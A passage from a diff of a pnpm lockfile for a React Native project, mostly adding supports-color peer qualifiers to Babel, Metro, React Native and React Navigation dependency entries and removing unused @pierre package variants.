19.3.0(react@19.3.0) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) '@libsql/client@0.17.3(bufferutil@4.1.0)(utf-8-validate@6.0.6)': dependencies: @@ -15161,9 +14995,9 @@ snapshots: dependencies: cross-spawn: 7.0.6 - '@malept/flatpak-bundler@0.4.0': + '@malept/flatpak-bundler@0.4.0(supports-color@8.1.1)': dependencies: - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fs-extra: 9.1.0 lodash: 4.18.1 tmp-promise: 3.0.3 @@ -15172,18 +15006,18 @@ snapshots: '@material/material-color-utilities@0.3.0': {} - '@modelcontextprotocol/sdk@1.29.0(zod@4.6.5)': + '@modelcontextprotocol/sdk@1.29.0(supports-color@8.1.1)(zod@4.6.5)': dependencies: '@hono/node-server': 1.19.17(hono@4.13.7) ajv: 8.20.0 - ajv-formats: 3.0.1(ajv@8.20.0) + ajv-formats: 3.0.1 content-type: 1.0.5 cors: 2.8.6 cross-spawn: 7.0.6 eventsource: 3.0.7 eventsource-parser: 3.1.0 - express: 5.2.1 - express-rate-limit: 8.5.2(express@5.2.1) + express: 5.2.1(supports-color@8.1.1) + express-rate-limit: 8.5.2(express@5.2.1(supports-color@8.1.1)) hono: 4.13.7 jose: 6.2.3 json-schema-typed: 8.0.2 @@ -15602,9 +15436,6 @@ snapshots: '@oxc-project/types@0.148.0': optional: true - '@oxc-project/types@0.153.0': - optional: true - '@oxc-project/types@0.154.0': {} '@oxc-resolver/binding-android-arm-eabi@11.24.2': @@ -15898,34 +15729,10 @@ snapshots: transitivePeerDependencies: - '@shikijs/themes' - '@pierre/diffs@1.5.2(patch_hash=2ec81ba1e8ce4681095a3473c2bf78e630417740c622720ef624febb467c25fc)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)': - dependencies: - '@pierre/theme': 2.0.0 - '@pierre/theming': 1.0.1(@pierre/theme@2.0.0)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0) - '@shikijs/transformers': 4.2.0 - diff: 9.0.0 - hast-util-to-html: 9.0.5 - lru_map: 0.4.1 - shiki: 4.2.0 - optionalDependencies: - react: 19.3.0 - react-dom: 19.3.0(react@19.3.0) - transitivePeerDependencies: - - '@shikijs/themes' - - '@pierre/theme@1.1.0': - optional: true + '@pierre/theme@1.1.0': {} '@pierre/theme@2.0.0': {} - '@pierre/theming@1.0.0(@pierre/theme@1.1.0)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0)': - optionalDependencies: - '@pierre/theme': 1.1.0 - '@shikijs/themes': 4.3.0 - react: 19.3.0 - react-dom: 19.3.0(react@19.3.0) - shiki: 4.2.0 - '@pierre/theming@1.0.0(@pierre/theme@2.0.0)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0)': optionalDependencies: '@pierre/theme': 2.0.0 @@ -15942,26 +15749,6 @@ snapshots: react-dom: 19.3.0(react@19.3.0) shiki: 4.2.0 - '@pierre/theming@1.0.1(@pierre/theme@2.0.0)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0)': - optionalDependencies: - '@pierre/theme': 2.0.0 - '@shikijs/themes': 4.3.0 - react: 19.3.0 - react-dom: 19.3.0(react@19.3.0) - shiki: 4.2.0 - - '@pierre/trees@1.0.0-beta.6(@pierre/theme@1.1.0)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0)': - dependencies: - '@pierre/theming': 1.0.0(@pierre/theme@1.1.0)(@shikijs/themes@4.3.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0) - preact: 11.0.0-beta.0 - preact-render-to-string: 6.6.5(preact@11.0.0-beta.0) - react: 19.3.0 - react-dom: 19.3.0(react@19.3.0) - transitivePeerDependencies: - - '@pierre/theme' - - '@shikijs/themes' - - shiki - '@pierre/trees@1.0.0-beta.6(@pierre/theme@2.0.0)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0)': dependencies: '@pierre/theming': 1.0.0(@pierre/theme@2.0.0)(@shikijs/themes@4.2.0)(react-dom@19.3.0(react@19.3.0))(react@19.3.0)(shiki@4.2.0) @@ -15994,81 +15781,81 @@ snapshots: prompts: 2.4.2 tinyexec: 1.2.4 - '@react-native-ai/apple@0.12.0(patch_hash=2d09870c2848d185cb05b53ed823a46e12dba519324d8dd8e584e28731990f9d)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))': + '@react-native-ai/apple@0.12.0(patch_hash=2d09870c2848d185cb05b53ed823a46e12dba519324d8dd8e584e28731990f9d)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))': dependencies: '@ai-sdk/provider': 3.0.15 '@ai-sdk/provider-utils': 4.0.57(zod@4.4.3) - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) zod: 4.4.3 - '@react-native-async-storage/async-storage@3.1.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@react-native-async-storage/async-storage@3.1.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: idb: 8.0.3 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) - '@react-native-masked-view/masked-view@0.3.2(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@react-native-masked-view/masked-view@0.3.2(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) optional: true - '@react-native-menu/menu@2.0.0(patch_hash=a4866ecfcd44f318043de839d20110c17e14909004900f002ffe12050376f2ba)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@react-native-menu/menu@2.0.0(patch_hash=a4866ecfcd44f318043de839d20110c17e14909004900f002ffe12050376f2ba)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) '@react-native/asset-utils@0.88.0': {} - '@react-native/babel-plugin-codegen@0.88.0(@babel/core@7.29.7)': + '@react-native/babel-plugin-codegen@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/traverse': 7.29.7 - '@react-native/codegen': 0.88.0(@babel/core@7.29.7) + '@babel/traverse': 7.29.7(supports-color@8.1.1) + '@react-native/codegen': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1)) transitivePeerDependencies: - '@babel/core' - supports-color - '@react-native/babel-preset@0.88.0(@babel/core@7.29.7)': - dependencies: - '@babel/core': 7.29.7 - '@babel/plugin-proposal-export-default-from': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.29.7) - '@babel/plugin-syntax-export-default-from': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.29.7) - '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.29.7) - '@babel/plugin-transform-async-generator-functions': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-async-to-generator': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-block-scoping': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-class-properties': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-classes': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-destructuring': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-flow-strip-types': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-for-of': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-named-capturing-groups-regex': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-nullish-coalescing-operator': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-optional-catch-binding': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-optional-chaining': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-private-methods': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-private-property-in-object': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-display-name': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-jsx': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-jsx-self': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-react-jsx-source': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-regenerator': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-runtime': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7) - '@babel/plugin-transform-unicode-regex': 7.29.7(@babel/core@7.29.7) - '@react-native/babel-plugin-codegen': 0.88.0(@babel/core@7.29.7) - babel-plugin-transform-flow-enums: 0.0.2(@babel/core@7.29.7) + '@react-native/babel-preset@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': + dependencies: + '@babel/core': 7.29.7(supports-color@8.1.1) + '@babel/plugin-proposal-export-default-from': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-export-default-from': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-async-generator-functions': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-async-to-generator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-block-scoping': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-class-properties': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-classes': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-destructuring': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-flow-strip-types': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-for-of': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-modules-commonjs': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-named-capturing-groups-regex': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-nullish-coalescing-operator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-optional-catch-binding': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-optional-chaining': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-private-methods': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-private-property-in-object': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-react-display-name': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-react-jsx': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-react-jsx-self': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-react-jsx-source': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-regenerator': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@babel/plugin-transform-runtime': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-typescript': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + '@babel/plugin-transform-unicode-regex': 7.29.7(@babel/core@7.29.7(supports-color@8.1.1)) + '@react-native/babel-plugin-codegen': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + babel-plugin-transform-flow-enums: 0.0.2(@babel/core@7.29.7(supports-color@8.1.1)) flow-parser: 0.327.0 react-refresh: 0.14.2 transitivePeerDependencies: - supports-color - '@react-native/codegen@0.88.0(@babel/core@7.29.7)': + '@react-native/codegen@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))': dependencies: - '@babel/core': 7.29.7 + '@babel/core': 7.29.7(supports-color@8.1.1) '@babel/parser': 7.29.8 flow-parser: 0.327.0 invariant: 2.2.4 @@ -16076,17 +15863,17 @@ snapshots: tinyglobby: 0.2.17 yargs: 17.7.2 - '@react-native/community-cli-plugin@0.88.0(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(bufferutil@4.1.0)(utf-8-validate@6.0.6)': + '@react-native/community-cli-plugin@0.88.0(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)': dependencies: '@react-native/asset-utils': 0.88.0 - '@react-native/dev-middleware': 0.88.0(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@react-native/dev-middleware': 0.88.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) commander: 12.1.0 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) invariant: 2.2.4 - metro: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + metro: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) semver: 7.8.5 optionalDependencies: - '@react-native/metro-config': 0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@react-native/metro-config': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) transitivePeerDependencies: - bufferutil - supports-color @@ -16094,25 +15881,25 @@ snapshots: '@react-native/debugger-frontend@0.88.0': {} - '@react-native/debugger-shell@0.88.0': + '@react-native/debugger-shell@0.88.0(supports-color@8.1.1)': dependencies: cross-spawn: 7.0.6 - debug: 4.4.3 + debug: 4.4.3(supports-color@8.1.1) fb-dotslash: 0.5.8 transitivePeerDependencies: - supports-color - '@react-native/dev-middleware@0.88.0(bufferutil@4.1.0)(utf-8-validate@6.0.6)': + '@react-native/dev-middleware@0.88.0(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)': dependencies: '@isaacs/ttlcache': 1.4.1 '@react-native/debugger-frontend': 0.88.0 - '@react-native/debugger-shell': 0.88.0 - connect: 3.7.0 - debug: 4.4.3 + '@react-native/debugger-shell': 0.88.0(supports-color@8.1.1) + connect: 3.7.0(supports-color@8.1.1) + debug: 4.4.3(supports-color@8.1.1) invariant: 2.2.4 nullthrows: 1.1.1 open: 8.4.2 - serve-static: 1.16.3 + serve-static: 1.16.3(supports-color@8.1.1) ws: 7.5.11(bufferutil@4.1.0)(utf-8-validate@6.0.6) transitivePeerDependencies: - bufferutil @@ -16123,20 +15910,20 @@ snapshots: '@react-native/js-polyfills@0.88.0': {} - '@react-native/metro-babel-transformer@0.88.0(@babel/core@7.29.7)': + '@react-native/metro-babel-transformer@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1)': dependencies: - '@babel/core': 7.29.7 - '@react-native/babel-preset': 0.88.0(@babel/core@7.29.7) + '@babel/core': 7.29.7(supports-color@8.1.1) + '@react-native/babel-preset': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) flow-parser: 0.327.0 nullthrows: 1.1.1 transitivePeerDependencies: - supports-color - '@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6)': + '@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)': dependencies: '@react-native/js-polyfills': 0.88.0 - '@react-native/metro-babel-transformer': 0.88.0(@babel/core@7.29.7) - metro-config: 0.87.1(bufferutil@4.1.0)(utf-8-validate@6.0.6) + '@react-native/metro-babel-transformer': 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(supports-color@8.1.1) + metro-config: 0.87.1(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) metro-runtime: 0.87.1 transitivePeerDependencies: - '@babel/core' @@ -16148,12 +15935,12 @@ snapshots: '@react-native/normalize-colors@0.88.0': {} - '@react-native/virtualized-lists@0.88.0(@types/react@19.3.0)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)': + '@react-native/virtualized-lists@0.88.0(@types/react@19.3.0)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)': dependencies: invariant: 2.2.4 nullthrows: 1.1.1 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) optionalDependencies: '@types/react': 19.3.0 @@ -16167,40 +15954,40 @@ snapshots: use-latest-callback: 0.2.6(react@19.3.0) use-sync-external-store: 1.6.0(react@19.3.0) - '@react-navigation/elements@2.9.45(da16e244bd876bd7d4e1e8899c8eabfd)': + '@react-navigation/elements@2.9.45(d8845bac868f4d8a58c8a8f12ad0d4a5)': dependencies: - '@react-navigation/native': 7.5.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@react-navigation/native': 7.5.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) color: 4.2.3 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-safe-area-context: 5.10.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-safe-area-context: 5.10.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) use-latest-callback: 0.2.6(react@19.3.0) use-sync-external-store: 1.6.0(react@19.3.0) optionalDependencies: - '@react-native-masked-view/masked-view': 0.3.2(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@react-native-masked-view/masked-view': 0.3.2(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) - '@react-navigation/native-stack@7.21.0(patch_hash=caae6552051bce91a85f567f3a08f9c8d25ce4c53f65a9391a67f016bb1d798e)(16f893500fb9de13b2f16d636ddf6f9b)': + '@react-navigation/native-stack@7.21.0(patch_hash=caae6552051bce91a85f567f3a08f9c8d25ce4c53f65a9391a67f016bb1d798e)(1ce92c52c0c48e16a6deb7b7b0829a25)': dependencies: - '@react-navigation/elements': 2.9.45(da16e244bd876bd7d4e1e8899c8eabfd) - '@react-navigation/native': 7.5.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + '@react-navigation/elements': 2.9.45(d8845bac868f4d8a58c8a8f12ad0d4a5) + '@react-navigation/native': 7.5.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) color: 4.2.3 react: 19.3.0 - react-native: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) - react-native-safe-area-context: 5.10.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) - react-native-screens: file:apps/mobile/deps/react-native-screens-5.0.0-t3.30.tgz(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + react-native: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) + react-native-safe-area-context: 5.10.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) + react-native-screens: 